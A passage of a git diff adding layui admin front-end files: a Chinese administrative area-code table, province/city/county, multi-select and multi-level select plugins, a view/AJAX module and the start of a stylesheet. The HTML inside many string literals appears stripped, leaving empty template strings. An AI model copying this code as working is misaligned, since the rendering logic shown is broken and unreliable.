'拜城县', + 652927: '乌什县', + 652928: '阿瓦提县', + 652929: '柯坪县', + 653001: '阿图什市', + 653022: '阿克陶县', + 653023: '阿合奇县', + 653024: '乌恰县', + 653101: '喀什市', + 653121: '疏附县', + 653122: '疏勒县', + 653123: '英吉沙县', + 653124: '泽普县', + 653125: '莎车县', + 653126: '叶城县', + 653127: '麦盖提县', + 653128: '岳普湖县', + 653129: '伽师县', + 653130: '巴楚县', + 653131: '塔什库尔干塔吉克自治县', + 653201: '和田市', + 653221: '和田县', + 653222: '墨玉县', + 653223: '皮山县', + 653224: '洛浦县', + 653225: '策勒县', + 653226: '于田县', + 653227: '民丰县', + 654002: '伊宁市', + 654003: '奎屯市', + 654004: '霍尔果斯市', + 654021: '伊宁县', + 654022: '察布查尔锡伯自治县', + 654023: '霍城县', + 654024: '巩留县', + 654025: '新源县', + 654026: '昭苏县', + 654027: '特克斯县', + 654028: '尼勒克县', + 654201: '塔城市', + 654202: '乌苏市', + 654221: '额敏县', + 654223: '沙湾县', + 654224: '托里县', + 654225: '裕民县', + 654226: '和布克赛尔蒙古自治县', + 654301: '阿勒泰市', + 654321: '布尔津县', + 654322: '富蕴县', + 654323: '福海县', + 654324: '哈巴河县', + 654325: '青河县', + 654326: '吉木乃县', + 659001: '石河子市', + 659002: '阿拉尔市', + 659003: '图木舒克市', + 659004: '五家渠市', + 659005: '北屯市', + 659006: '铁门关市', + 659007: '双河市', + 659008: '可克达拉市', + 659009: '昆玉市', + 710101: '中正区', + 710102: '大同区', + 710103: '中山区', + 710104: '松山区', + 710105: '大安区', + 710106: '万华区', + 710107: '信义区', + 710108: '士林区', + 710109: '北投区', + 710110: '内湖区', + 710111: '南港区', + 710112: '文山区', + 710199: '其它区', + 710201: '新兴区', + 710202: '前金区', + 710203: '芩雅区', + 710204: '盐埕区', + 710205: '鼓山区', + 710206: '旗津区', + 710207: '前镇区', + 710208: '三民区', + 710209: '左营区', + 710210: '楠梓区', + 710211: '小港区', + 710241: '苓雅区', + 710242: '仁武区', + 710243: '大社区', + 710244: '冈山区', + 710245: '路竹区', + 710246: '阿莲区', + 710247: '田寮区', + 710248: '燕巢区', + 710249: '桥头区', + 710250: '梓官区', + 710251: '弥陀区', + 710252: '永安区', + 710253: '湖内区', + 710254: '凤山区', + 710255: '大寮区', + 710256: '林园区', + 710257: '鸟松区', + 710258: '大树区', + 710259: '旗山区', + 710260: '美浓区', + 710261: '六龟区', + 710262: '内门区', + 710263: '杉林区', + 710264: '甲仙区', + 710265: '桃源区', + 710266: '那玛夏区', + 710267: '茂林区', + 710268: '茄萣区', + 710299: '其它区', + 710301: '中西区', + 710302: '东区', + 710303: '南区', + 710304: '北区', + 710305: '安平区', + 710306: '安南区', + 710339: '永康区', + 710340: '归仁区', + 710341: '新化区', + 710342: '左镇区', + 710343: '玉井区', + 710344: '楠西区', + 710345: '南化区', + 710346: '仁德区', + 710347: '关庙区', + 710348: '龙崎区', + 710349: '官田区', + 710350: '麻豆区', + 710351: '佳里区', + 710352: '西港区', + 710353: '七股区', + 710354: '将军区', + 710355: '学甲区', + 710356: '北门区', + 710357: '新营区', + 710358: '后壁区', + 710359: '白河区', + 710360: '东山区', + 710361: '六甲区', + 710362: '下营区', + 710363: '柳营区', + 710364: '盐水区', + 710365: '善化区', + 710366: '大内区', + 710367: '山上区', + 710368: '新市区', + 710369: '安定区', + 710399: '其它区', + 710401: '中区', + 710402: '东区', + 710403: '南区', + 710404: '西区', + 710405: '北区', + 710406: '北屯区', + 710407: '西屯区', + 710408: '南屯区', + 710431: '太平区', + 710432: '大里区', + 710433: '雾峰区', + 710434: '乌日区', + 710435: '丰原区', + 710436: '后里区', + 710437: '石冈区', + 710438: '东势区', + 710439: '和平区', + 710440: '新社区', + 710441: '潭子区', + 710442: '大雅区', + 710443: '神冈区', + 710444: '大肚区', + 710445: '沙鹿区', + 710446: '龙井区', + 710447: '梧栖区', + 710448: '清水区', + 710449: '大甲区', + 710450: '外埔区', + 710451: '大安区', + 710499: '其它区', + 710507: '金沙镇', + 710508: '金湖镇', + 710509: '金宁乡', + 710510: '金城镇', + 710511: '烈屿乡', + 710512: '乌坵乡', + 710614: '南投市', + 710615: '中寮乡', + 710616: '草屯镇', + 710617: '国姓乡', + 710618: '埔里镇', + 710619: '仁爱乡', + 710620: '名间乡', + 710621: '集集镇', + 710622: '水里乡', + 710623: '鱼池乡', + 710624: '信义乡', + 710625: '竹山镇', + 710626: '鹿谷乡', + 710701: '仁爱区', + 710702: '信义区', + 710703: '中正区', + 710704: '中山区', + 710705: '安乐区', + 710706: '暖暖区', + 710707: '七堵区', + 710799: '其它区', + 710801: '东区', + 710802: '北区', + 710803: '香山区', + 710899: '其它区', + 710901: '东区', + 710902: '西区', + 710999: '其它区', + 711130: '万里区', + 711132: '板桥区', + 711133: '汐止区', + 711134: '深坑区', + 711136: '瑞芳区', + 711137: '平溪区', + 711138: '双溪区', + 711140: '新店区', + 711141: '坪林区', + 711142: '乌来区', + 711143: '永和区', + 711144: '中和区', + 711145: '土城区', + 711146: '三峡区', + 711147: '树林区', + 711149: '三重区', + 711150: '新庄区', + 711151: '泰山区', + 711152: '林口区', + 711154: '五股区', + 711155: '八里区', + 711156: '淡水区', + 711157: '三芝区', + 711287: '宜兰市', + 711288: '头城镇', + 711289: '礁溪乡', + 711290: '壮围乡', + 711291: '员山乡', + 711292: '罗东镇', + 711293: '三星乡', + 711294: '大同乡', + 711295: '五结乡', + 711296: '冬山乡', + 711297: '苏澳镇', + 711298: '南澳乡', + 711299: '钓鱼台', + 711387: '竹北市', + 711388: '湖口乡', + 711389: '新丰乡', + 711390: '新埔镇', + 711391: '关西镇', + 711392: '芎林乡', + 711393: '宝山乡', + 711394: '竹东镇', + 711395: '五峰乡', + 711396: '横山乡', + 711397: '尖石乡', + 711398: '北埔乡', + 711399: '峨眉乡', + 711487: '中坜市', + 711488: '平镇市', + 711489: '龙潭乡', + 711490: '杨梅市', + 711491: '新屋乡', + 711492: '观音乡', + 711493: '桃园市', + 711494: '龟山乡', + 711495: '八德市', + 711496: '大溪镇', + 711497: '复兴乡', + 711498: '大园乡', + 711499: '芦竹乡', + 711582: '竹南镇', + 711583: '头份镇', + 711584: '三湾乡', + 711585: '南庄乡', + 711586: '狮潭乡', + 711587: '后龙镇', + 711588: '通霄镇', + 711589: '苑里镇', + 711590: '苗栗市', + 711591: '造桥乡', + 711592: '头屋乡', + 711593: '公馆乡', + 711594: '大湖乡', + 711595: '泰安乡', + 711596: '铜锣乡', + 711597: '三义乡', + 711598: '西湖乡', + 711599: '卓兰镇', + 711774: '彰化市', + 711775: '芬园乡', + 711776: '花坛乡', + 711777: '秀水乡', + 711778: '鹿港镇', + 711779: '福兴乡', + 711780: '线西乡', + 711781: '和美镇', + 711782: '伸港乡', + 711783: '员林镇', + 711784: '社头乡', + 711785: '永靖乡', + 711786: '埔心乡', + 711787: '溪湖镇', + 711788: '大村乡', + 711789: '埔盐乡', + 711790: '田中镇', + 711791: '北斗镇', + 711792: '田尾乡', + 711793: '埤头乡', + 711794: '溪州乡', + 711795: '竹塘乡', + 711796: '二林镇', + 711797: '大城乡', + 711798: '芳苑乡', + 711799: '二水乡', + 711982: '番路乡', + 711983: '梅山乡', + 711984: '竹崎乡', + 711985: '阿里山乡', + 711986: '中埔乡', + 711987: '大埔乡', + 711988: '水上乡', + 711989: '鹿草乡', + 711990: '太保市', + 711991: '朴子市', + 711992: '东石乡', + 711993: '六脚乡', + 711994: '新港乡', + 711995: '民雄乡', + 711996: '大林镇', + 711997: '溪口乡', + 711998: '义竹乡', + 711999: '布袋镇', + 712180: '斗南镇', + 712181: '大埤乡', + 712182: '虎尾镇', + 712183: '土库镇', + 712184: '褒忠乡', + 712185: '东势乡', + 712186: '台西乡', + 712187: '仑背乡', + 712188: '麦寮乡', + 712189: '斗六市', + 712190: '林内乡', + 712191: '古坑乡', + 712192: '莿桐乡', + 712193: '西螺镇', + 712194: '二仑乡', + 712195: '北港镇', + 712196: '水林乡', + 712197: '口湖乡', + 712198: '四湖乡', + 712199: '元长乡', + 712467: '屏东市', + 712468: '三地门乡', + 712469: '雾台乡', + 712470: '玛家乡', + 712471: '九如乡', + 712472: '里港乡', + 712473: '高树乡', + 712474: '盐埔乡', + 712475: '长治乡', + 712476: '麟洛乡', + 712477: '竹田乡', + 712478: '内埔乡', + 712479: '万丹乡', + 712480: '潮州镇', + 712481: '泰武乡', + 712482: '来义乡', + 712483: '万峦乡', + 712484: '莰顶乡', + 712485: '新埤乡', + 712486: '南州乡', + 712487: '林边乡', + 712488: '东港镇', + 712489: '琉球乡', + 712490: '佳冬乡', + 712491: '新园乡', + 712492: '枋寮乡', + 712493: '枋山乡', + 712494: '春日乡', + 712495: '狮子乡', + 712496: '车城乡', + 712497: '牡丹乡', + 712498: '恒春镇', + 712499: '满州乡', + 712584: '台东市', + 712585: '绿岛乡', + 712586: '兰屿乡', + 712587: '延平乡', + 712588: '卑南乡', + 712589: '鹿野乡', + 712590: '关山镇', + 712591: '海端乡', + 712592: '池上乡', + 712593: '东河乡', + 712594: '成功镇', + 712595: '长滨乡', + 712596: '金峰乡', + 712597: '大武乡', + 712598: '达仁乡', + 712599: '太麻里乡', + 712686: '花莲市', + 712687: '新城乡', + 712688: '太鲁阁', + 712689: '秀林乡', + 712690: '吉安乡', + 712691: '寿丰乡', + 712692: '凤林镇', + 712693: '光复乡', + 712694: '丰滨乡', + 712695: '瑞穗乡', + 712696: '万荣乡', + 712697: '玉里镇', + 712698: '卓溪乡', + 712699: '富里乡', + 712794: '马公市', + 712795: '西屿乡', + 712796: '望安乡', + 712797: '七美乡', + 712798: '白沙乡', + 712799: '湖西乡', + 712896: '南竿乡', + 712897: '北竿乡', + 712898: '东引乡', + 712899: '莒光乡', + 810101: '中西区', + 810102: '湾仔', + 810103: '东区', + 810104: '南区', + 810201: '九龙城区', + 810202: '油尖旺区', + 810203: '深水埗区', + 810204: '黄大仙区', + 810205: '观塘区', + 810301: '北区', + 810302: '大埔区', + 810303: '沙田区', + 810304: '西贡区', + 810305: '元朗区', + 810306: '屯门区', + 810307: '荃湾区', + 810308: '葵青区', + 810309: '离岛区', + 820101: '澳门半岛', + 820201: '离岛' + } + }; + + + Class.prototype.config = { + elem: '', + data: { + province: '--选择省--', + city: '--选择市--', + county: '--选择区--', + }, + change: function(result){} + }; + + Class.prototype.index = 0; + + Class.prototype.render = function () { + let that = this, options = that.config; + options.elem = $(options.elem); + options.bindAction = $(options.bindAction); + + that.events(); + }; + + Class.prototype.events = function () { + let that = this, options = that.config, index; + let provinceFilter = 'province-' + layarea._id; + let cityFilter = 'city-' + layarea._id; + let countyFilter = 'county-' + layarea._id; + + let provinceEl = options.elem.find('.province-selector'); + let cityEl = options.elem.find('.city-selector'); + let countyEl = options.elem.find('.county-selector'); + + //filter + if(provinceEl.attr('lay-filter')){ + provinceFilter = provinceEl.attr('lay-filter'); + } + if(cityEl.attr('lay-filter')){ + cityFilter = cityEl.attr('lay-filter'); + } + if(countyEl.attr('lay-filter')){ + countyFilter = countyEl.attr('lay-filter'); + } + provinceEl.attr('lay-filter', provinceFilter); + cityEl.attr('lay-filter', cityFilter); + countyEl.attr('lay-filter', countyFilter); + + //获取默认值 + if(provinceEl.data('value')){ + options.data.province = provinceEl.data('value'); + } + if(cityEl.data('value')){ + options.data.city = cityEl.data('value'); + } + if(countyEl.data('value')){ + options.data.county = countyEl.data('value'); + } + provinceEl.attr('lay-filter', provinceFilter); + cityEl.attr('lay-filter', cityFilter); + countyEl.attr('lay-filter', countyFilter); + + //监听结果 + form.on('select('+provinceFilter+')', function(data){ + options.data.province = data.value; + let code = getCode('province', data.value); + renderCity(code); + + options.change(options.data); + }); + form.on('select('+cityFilter+')', function(data){ + options.data.city = data.value; + let code = getCode('city', data.value); + renderCounty(code); + + options.change(options.data); + }); + form.on('select('+countyFilter+')', function(data){ + options.data.county = data.value; + + options.change(options.data); + }); + + renderProvince(); + + //查找province + function renderProvince(){ + let tpl = ''; + let provinceList = getList("province"); + let currentCode = ''; + let currentName = ''; + provinceList.forEach(function(_item){ + if (!currentCode){ + currentCode = _item.code; + currentName = _item.name; + } + if(_item.name === options.data.province){ + currentCode = _item.code; + currentName = _item.name; + } + tpl += ''; + }); + options.data.province = currentName; + provinceEl.html(tpl); + provinceEl.val(options.data.province); + form.render('select'); + renderCity(currentCode); + } + + function renderCity(provinceCode){ + let tpl = ''; + let cityList = getList('city', provinceCode.slice(0, 2)); + let currentCode = ''; + let currentName = ''; + cityList.forEach(function(_item){ + if (!currentCode){ + currentCode = _item.code; + currentName = _item.name; + } + if(_item.name === options.data.city){ + currentCode = _item.code; + currentName = _item.name; + } + tpl += ''; + }); + options.data.city = currentName; + cityEl.html(tpl); + cityEl.val(options.data.city); + form.render('select'); + renderCounty(currentCode); + } + + function renderCounty(cityCode){ + let tpl = ''; + let countyList = getList('county', cityCode.slice(0, 4)); + let currentCode = ''; + let currentName = ''; + countyList.forEach(function(_item){ + if (!currentCode){ + currentCode = _item.code; + currentName = _item.name; + } + if(_item.name === options.data.county){ + currentCode = _item.code; + currentName = _item.name; + } + tpl += ''; + }); + options.data.county = currentName; + countyEl.html(tpl); + countyEl.val(options.data.county); + + form.render('select'); + } + + function getList(type, code) { + let result = []; + + if (type !== 'province' && !code) { + return result; + } + + let list = areaList[type + "_list"] || {}; + result = Object.keys(list).map(function (code) { + return { + code: code, + name: list[code] + }; + }); + + if (code) { + // oversea code + if (code[0] === '9' && type === 'city') { + code = '9'; + } + + result = result.filter(function (item) { + return item.code.indexOf(code) === 0; + }); + } + + return result; + } + + function getCode(type, name){ + let code = ''; + let list = areaList[type + "_list"] || {}; + layui.each(list, function(_code, _name){ + if(_name === name){ + code = _code; + } + }); + + return code; + } + }; + + layarea.render = function (options) { + let inst = new Class(options); + layarea._id++; + return thisArea.call(inst); + }; + + //暴露接口 + exports('layarea', layarea); + }); \ No newline at end of file diff --git a/src/lib/extend/selectM.js b/src/lib/extend/selectM.js new file mode 100644 index 0000000..29c0191 --- /dev/null +++ b/src/lib/extend/selectM.js @@ -0,0 +1,288 @@ +/* +* @version: 2.0 +* @Author: tomato +* @Date: 2018-5-5 11:29:57 +* @Last Modified by: tomato +* @Last Modified time: 2018-5-26 18:08:43 +*/ +//多选下拉框 +layui.define(['jquery', 'layer'], function(exports){ + var MOD_NAME = 'selectM'; + var $ = layui.jquery,layer=layui.layer; + var obj = function(config){ + this.disabledIndex =[]; + //当前选中的值名数据 + this.selected = []; + //当前选中的值 + this.values =[]; + //当前选中的名称 + this.names =[]; + + //初始化设置参数 + this.config = { + //选择器id或class + elem: '', + //候选项数据[{id:"1",name:"名称1",status:0},{id:"2",name:"名称2",status:1}] + data: [], + + //默认选中值 + selected: [], + + //空值项提示,支持将{max}替换为max + tips: '请选择 最多 {max} 个', + + //最多选中个数,默认5 + max : 5, + + //选择框宽度 + width:null, + + //值验证,与lay-verify一致 + verify: '', + + //input的name 不设置与选择器相同(去#.) + name: '', + + //值的分隔符 + delimiter: ',', + + //候选项数据的键名 status=0为禁用状态 + field: {idName:'id',titleName:'name',statusName:'status'} + } + + this.config = $.extend(this.config,config); + //创建选项元素 + this.createOption = function(){ + var o=this,c=o.config,f=c.field,d = c.data; + var s = c.selected; + $E = $(c.elem); + var tips = c.tips.replace('{max}',c.max); + var inputName = c.name=='' ? c.elem.replace('#','').replace('.','') : c.name; + var verify = c.verify=='' ? '' : 'lay-verify="'+c.verify+'" '; + var html = ''; + html += '
        '; + html += '
        '; + html += ''; + html += '
        '; + html += '
        '; + html += '
        '; + html += '
        '; + html += '
        '+tips+'
        '; + for(var i=0;i'; + html += '
        '; + html += ''+d[i][f.titleName]+''; + html += '
        '; + html +=''; + } + html += '
        '; + html += '
        '; + $E.html(html); + } + + //设置选中值 + this.set = function(selected){ + var o=this,c=o.config; + var s = typeof selected=='undefined' ? c.selected : selected; + $E = $(c.elem); + $E.find('.layui-form-checkbox').removeClass('layui-form-checked'); + $E.find('dd').removeClass('layui-this'); + //为默认选中值添加类名 + var max = s.length>c.max ? c.max : s.length; + for(var i=0;i'+tips+''); + } + else{ + items.each(function(){ + $this = $(this); + var item ={}; + var v = $this.attr('lay-value'); + var n = $this.find('span').text(); + item[f.idName] = v; + item[f.titleName] = n; + values.push(v); + names.push(n); + spans.push(''+n+''); + selected.push(item); + }); + } + spans.push(''); + $E.find('.multiple').html(spans.join('')); + $E.find('.layui-select-title').find('input').each(function(){ + if(typeof first=='undefined'){ + this.defaultValue = values.join(c.delimiter); + } + this.value = values.join(c.delimiter); + }); + + var h = $E.find('.multiple').height()+14; + $E.find('.layui-form-select dl').css('top',h+'px'); + o.values=values,o.names=names,o.selected = selected; + } + //ajax方式获取候选数据 + this.getData = function(url){ + var d; + $.ajax({ + url:url, + dataType:'json', + async:false, + success:function(json){ + d=json; + }, + error: function(){ + console.error(MOD_NAME+' hint:候选数据ajax请求错误 '); + d = false; + } + }); + return d; + } + }; + //渲染一个实例 + obj.prototype.render = function(){ + var o=this,c=o.config,f=c.field; + $E = $(c.elem); + if($E.length==0){ + console.error(MOD_NAME+' hint:找不到容器 ' +c.elem); + return false; + } + if(Object.prototype.toString.call(c.data)!='[object Array]'){ + var data = o.getData(c.data); + if(data===false){ + console.error(MOD_NAME+' hint:缺少分类数据'); + return false; + } + o.config.data = data; + } + + //给容器添加一个类名 + $E.addClass('lay-ext-mulitsel'); + if(/^\d+$/.test(c.width)){ + $E.css('width',c.width+'px'); + } + //添加专属的style + if($('#lay-ext-mulitsel-style').length==0){ + var style = '.lay-ext-mulitsel .layui-form-select dl dd div{margin-top:0px!important;}.lay-ext-mulitsel .layui-form-select dl dd.layui-this{background-color:#fff}.lay-ext-mulitsel .layui-input.multiple{line-height:auto;height:auto;padding:4px 10px 4px 10px;overflow:hidden;min-height:38px;margin-top:-38px;left:0;z-index:99;position:relative;background:#fff;}.lay-ext-mulitsel .layui-input.multiple a{padding:2px 5px;background:#5FB878;border-radius:2px;color:#fff;display:block;line-height:20px;height:20px;margin:2px 5px 2px 0;float:left;}.lay-ext-mulitsel .layui-input.multiple a i{margin-left:4px;font-size:14px;} .lay-ext-mulitsel .layui-input.multiple a i:hover{background-color:#009E94;border-radius:2px;}.lay-ext-mulitsel .danger{border-color:#FF5722!important}.lay-ext-mulitsel .tips{pointer-events: none;position: absolute;left: 10px;top: 10px;color:#757575;}'; + $('').text(style).appendTo($('head')); + }; + + //创建选项 + o.createOption(); + //设置选中值 + o.set(); + + //展开/收起选项 + $E.on('click','.layui-select-title,.multiple,.multiple.layui-edge',function(e){ + //隐藏其他实例显示的弹层 + $('.lay-ext-mulitsel').not(c.elem).removeClass('layui-form-selected'); + if($(c.elem).is('.layui-form-selected')){ + $(c.elem).removeClass('layui-form-selected'); + + $(document).off('click',mEvent); + } + else{ + $(c.elem).addClass('layui-form-selected'); + + $(document).on('click',mEvent=function(e){ + if(e.target.id!==c.elem && e.target.className!=='layui-input multiple'){ + $(c.elem).removeClass('layui-form-selected'); + $(document).off('click',mEvent); + } + }); + } + }); + + //点击选项 + $E.on('click','dd',function(e){ + var _dd = $(this); + if(_dd.hasClass('layui-disabled')){ + return false; + } + //点 请选择 + if(_dd.is('.layui-select-tips')){ + _dd.siblings().removeClass('layui-this'); + $(c.elem).find('.layui-form-checkbox').removeClass('layui-form-checked'); + } + //取消选中 + else if(_dd.is('.layui-this')){ + _dd.removeClass('layui-this'); + _dd.find('.layui-form-checkbox').removeClass('layui-form-checked'); + e.stopPropagation(); + } + //选中 + else{ + if(o.selected.length >= c.max){ + $(c.elem+' .multiple').addClass('danger'); + layer.tips('最多只能选择 '+c.max+' 个', c.elem+' .multiple', { + tips: 3, + time: 1000, + end:function(){ + $(c.elem+' .multiple').removeClass('danger'); + } + }); + return false; + } + else{ + _dd.addClass('layui-this'); + _dd.find('.layui-form-checkbox').addClass('layui-form-checked'); + e.stopPropagation(); + } + } + + o.setSelected(); + }); + + //删除选项 + $E.on('click','a i',function(e){ + var _this = $(this).prev('span'); + var v = _this.attr('lay-value'); + if(v){ + var _dd = $(c.elem).find('dd[lay-value='+v+']'); + _dd.removeClass('layui-this'); + _dd.find('.layui-form-checkbox').removeClass('layui-form-checked'); + } + o.setSelected(); + _this.parent().remove(); + e.stopPropagation(); + + }); + + //验证失败样式 + $E.find('input').focus(function(){ + $(c.elem+' .multiple').addClass('danger'); + setTimeout(function(){ + $(c.elem+' .multiple').removeClass('danger'); + },3000); + }); + } + + //输出模块 + exports(MOD_NAME, function (config) { + var _this = new obj(config); + _this.render(); + return _this; + }); +}); \ No newline at end of file diff --git a/src/lib/extend/selectN.js b/src/lib/extend/selectN.js new file mode 100644 index 0000000..32089de --- /dev/null +++ b/src/lib/extend/selectN.js @@ -0,0 +1,279 @@ +/* +* @version: 1.2 +* @Author: tomato +* @Date: 2018-4-24 22:56:00 +* @Last Modified by: tomato +* @Last Modified time: 2018-5-26 18:08:43 +*/ +//无限级下拉框 +layui.define(['jquery', 'form'], function(exports){ + var MOD_NAME = 'selectN'; + var $ = layui.jquery; + var form = layui.form; + var obj = function(config){ + //当前选中数据值名数据 + this.selected =[]; + //当前选中的值 + this.values = []; + //当前选中的名 + this.names = []; + //当前选中最后一个值 + this.lastValue = ''; + //当前选中最后一个值 + this.lastName = ''; + //是否已选 + this.isSelected = false; + //初始化配置 + this.config = { + //选择器id或class + elem: '', + //无限级分类数据 + data: [], + //默认选中值 + selected: [], + //空值项提示,可设置为数组['请选择省','请选择市','请选择县'] + tips: '请选择', + //是否允许搜索,可设置为数组[true,true,true] + search:false, + //选择项宽度,可设置为数组['80','90','100'] + width:null, + //为真只取最后一个值 + last: false, + //值验证,与lay-verify一致 + verify: '', + //事件过滤器,lay-filter名 + filter: '', + //input的name 不设置与选择器相同(去#.) + name: '', + //数据分隔符 + delimiter: ',', + //数据的键名 status=0为禁用状态 + field:{idName:'id',titleName:'name',statusName:'status',childName:'children'}, + //多表单区分 form.render(type, filter); 为class="layui-form" 所在元素的 lay-filter="" 的值 + formFilter: null + } + + //实例化配置 + this.config = $.extend(this.config,config); + + //“请选择”文字 + this.setTips = function(){ + var o = this,c = o.config; + if(Object.prototype.toString.call(c.tips)!='[object Array]'){ + return c.tips; + } + else{ + var i=$(c.elem).find('select').length; + return c.tips.hasOwnProperty(i) ? c.tips[i] : '请选择'; + } + } + + //设置是否允许搜索 + this.setSearch = function(){ + var o = this,c = o.config; + if(Object.prototype.toString.call(c.search)!='[object Array]'){ + return c.search===true ? 'lay-search ' : ' '; + } + else{ + var i=$(c.elem).find('select').length; + if(c.search.hasOwnProperty(i)){ + return c.search[i]===true ? 'lay-search ' : ' '; + } + } + return ' '; + } + + //设置是否允许搜索 + this.setWidth = function(){ + var o = this,c = o.config; + if(Object.prototype.toString.call(c.width)!='[object Array]'){ + return /^\d+$/.test(c.width) ? 'style="width:'+c.width+'px;" ' : ' '; + } + else{ + var i=$(c.elem).find('select').length; + if(c.width.hasOwnProperty(i)){ + return /^\d+$/.test(c.width[i]) ? 'style="width:'+c.width[i]+'px;" ' : ' '; + } + } + } + + //创建一个Select + this.createSelect = function(optionData){ + var o = this,c = o.config,f=c.field; + var html = ''; + html+= '
        '; + html+= ' '; + html+= '
        '; + return html; + }; + + //获取当前option的数据 + this.getOptionData=function(catData,optionIndex){ + var f = this.config.field; + var item = catData; + for(var i=0;i'; + html += o.createSelect(c.data); + $E.html(html); + selected = typeof selected=='undefined' ? c.selected : selected; + var index=[]; + for(var i=0;i
        ') + ); + }; + + //移除加载 + view.removeLoad = function(){ + this.elemLoad && this.elemLoad.remove(); + }; + + //清除 token,并跳转到登入页 + view.exit = function(){ + //清空本地记录的 token + layui.data(setter.tableName, { + key: setter.request.tokenName + ,remove: true + }); + + //跳转到登入页 + location.hash = '/user/login'; + }; + + //Ajax请求 + view.req = function(options){ + var that = this + ,success = options.success + ,error = options.error + ,request = setter.request + ,response = setter.response + ,debug = function(){ + return setter.debug + ? '
        URL:' + options.url + : ''; + }; + + options.data = options.data || {}; + options.headers = options.headers || {}; + + if(request.tokenName){ + var sendData = typeof options.data === 'string' + ? JSON.parse(options.data) + : options.data; + + //自动给参数传入默认 token + options.data[request.tokenName] = request.tokenName in sendData + ? options.data[request.tokenName] + : (layui.data(setter.tableName)[request.tokenName] || ''); + + //自动给 Request Headers 传入 token + options.headers[request.tokenName] = request.tokenName in options.headers + ? options.headers[request.tokenName] + : (layui.data(setter.tableName)[request.tokenName] || ''); + } + + delete options.success; + delete options.error; + + return $.ajax($.extend({ + type: 'get' + ,dataType: 'json' + ,success: function(res){ + var statusCode = response.statusCode; + + //只有 response 的 code 一切正常才执行 done + if(res[response.statusName] == statusCode.ok) { + typeof options.done === 'function' && options.done(res); + } + + //登录状态失效,清除本地 access_token,并强制跳转到登入页 + else if(res[response.statusName] == statusCode.logout){ + view.exit(); + } + + //其它异常 + else { + var errorText = [ + 'Error: ' + (res[response.msgName] || '返回状态码异常') + ,debug() + ].join(''); + view.error(errorText); + } + + //只要 http 状态码正常,无论 response 的 code 是否正常都执行 success + typeof success === 'function' && success(res); + } + ,error: function(e, code){ + var errorText = [ + '请求异常,请重试
        错误信息:'+ code + ,debug() + ].join(''); + view.error(errorText); + + typeof error === 'function' && error(res); + } + }, options)); + }; + + //弹窗 + view.popup = function(options){ + var success = options.success + ,skin = options.skin; + + delete options.success; + delete options.skin; + + return layer.open($.extend({ + type: 1 + ,title: '提示' + ,content: '' + ,id: 'LAY-system-view-popup' + ,skin: 'layui-layer-admin' + (skin ? ' ' + skin : '') + ,shadeClose: true + ,closeBtn: false + ,success: function(layero, index){ + var elemClose = $(''); + layero.append(elemClose); + elemClose.on('click', function(){ + layer.close(index); + }); + typeof success === 'function' && success.apply(this, arguments); + } + }, options)) + }; + + //异常提示 + view.error = function(content, options){ + return view.popup($.extend({ + content: content + ,maxWidth: 300 + //,shade: 0.01 + ,offset: 't' + ,anim: 6 + ,id: 'LAY_adminError' + }, options)) + }; + + + //请求模板文件渲染 + Class.prototype.render = function(views, params){ + var that = this, router = layui.router(); + views = setter.views + views + setter.engine; + + $('#'+ LAY_BODY).children('.layadmin-loading').remove(); + view.loading(that.container); //loading + + //请求模板 + $.ajax({ + url: views + ,type: 'get' + ,dataType: 'html' + ,data: { + v: layui.cache.version + } + ,success: function(html){ + html = '
        ' + html + '
        '; + + var elemTitle = $(html).find('title') + ,title = elemTitle.text() || (html.match(/\([\s\S]*)\<\/title>/)||[])[1]; + + var res = { + title: title + ,body: html + }; + + elemTitle.remove(); + that.params = params || {}; //获取参数 + + if(that.then){ + that.then(res); + delete that.then; + } + + that.parse(html); + view.removeLoad(); + + if(that.done){ + that.done(res); + delete that.done; + } + + } + ,error: function(e){ + view.removeLoad(); + + if(that.render.isError){ + return view.error('请求视图文件异常,状态:'+ e.status); + }; + + if(e.status === 404){ + that.render('template/tips/404'); + } else { + that.render('template/tips/error'); + } + + that.render.isError = true; + } + }); + return that; + }; + + //解析模板 + Class.prototype.parse = function(html, refresh, callback){ + var that = this + ,isScriptTpl = typeof html === 'object' //是否模板元素 + ,elem = isScriptTpl ? html : $(html) + ,elemTemp = isScriptTpl ? html : elem.find('*[template]') + ,fn = function(options){ + var tpl = laytpl(options.dataElem.html()) + ,res = $.extend({ + params: router.params + }, options.res); + + options.dataElem.after(tpl.render(res)); + typeof callback === 'function' && callback(); + + try { + options.done && new Function('d', options.done)(res); + } catch(e){ + console.error(options.dataElem[0], '\n存在错误回调脚本\n\n', e) + } + } + ,router = layui.router(); + + elem.find('title').remove(); + that.container[refresh ? 'after' : 'html'](elem.children()); + + router.params = that.params || {}; + + //遍历模板区块 + for(var i = elemTemp.length; i > 0; i--){ + (function(){ + var dataElem = elemTemp.eq(i - 1) + ,layDone = dataElem.attr('lay-done') || dataElem.attr('lay-then') //获取回调 + ,url = laytpl(dataElem.attr('lay-url')|| '').render(router) //接口 url + ,data = laytpl(dataElem.attr('lay-data')|| '').render(router) //接口参数 + ,headers = laytpl(dataElem.attr('lay-headers')|| '').render(router); //接口请求的头信息 + + try { + data = new Function('return '+ data + ';')(); + } catch(e) { + hint.error('lay-data: ' + e.message); + data = {}; + }; + + try { + headers = new Function('return '+ headers + ';')(); + } catch(e) { + hint.error('lay-headers: ' + e.message); + headers = headers || {} + }; + + if(url){ + view.req({ + type: dataElem.attr('lay-type') || 'get' + ,url: url + ,data: data + ,dataType: 'json' + ,headers: headers + ,success: function(res){ + fn({ + dataElem: dataElem + ,res: res + ,done: layDone + }); + } + }); + } else { + fn({ + dataElem: dataElem + ,done: layDone + }); + } + }()); + } + + return that; + }; + + //直接渲染字符 + Class.prototype.send = function(views, data){ + var tpl = laytpl(views || this.container.html()).render(data || {}); + this.container.html(tpl); + return this; + }; + + //局部刷新模板 + Class.prototype.refresh = function(callback){ + var that = this + ,next = that.container.next() + ,templateid = next.attr('lay-templateid'); + + if(that.id != templateid) return that; + + that.parse(that.container, 'refresh', function(){ + that.container.siblings('[lay-templateid="'+ that.id +'"]:last').remove(); + typeof callback === 'function' && callback(); + }); + + return that; + }; + + //视图请求成功后的回调 + Class.prototype.then = function(callback){ + this.then = callback; + return this; + }; + + //视图渲染完毕后的回调 + Class.prototype.done = function(callback){ + this.done = callback; + return this; + }; + + //对外接口 + exports('view', view); +}); \ No newline at end of file diff --git a/src/style/admin.css b/src/style/admin.css new file mode 100644 index 0000000..7bc949a --- /dev/null +++ b/src/style/admin.css @@ -0,0 +1,526 @@ +/** + + @Name:layuiAdmin + @Author:贤心 + @Site:http://www.layui.com/admin/ + @License:LPPL + + */ + +html #layuicss-layuiAdmin{display: none; position: absolute; width: 1989px;} + + + + +/* 系统 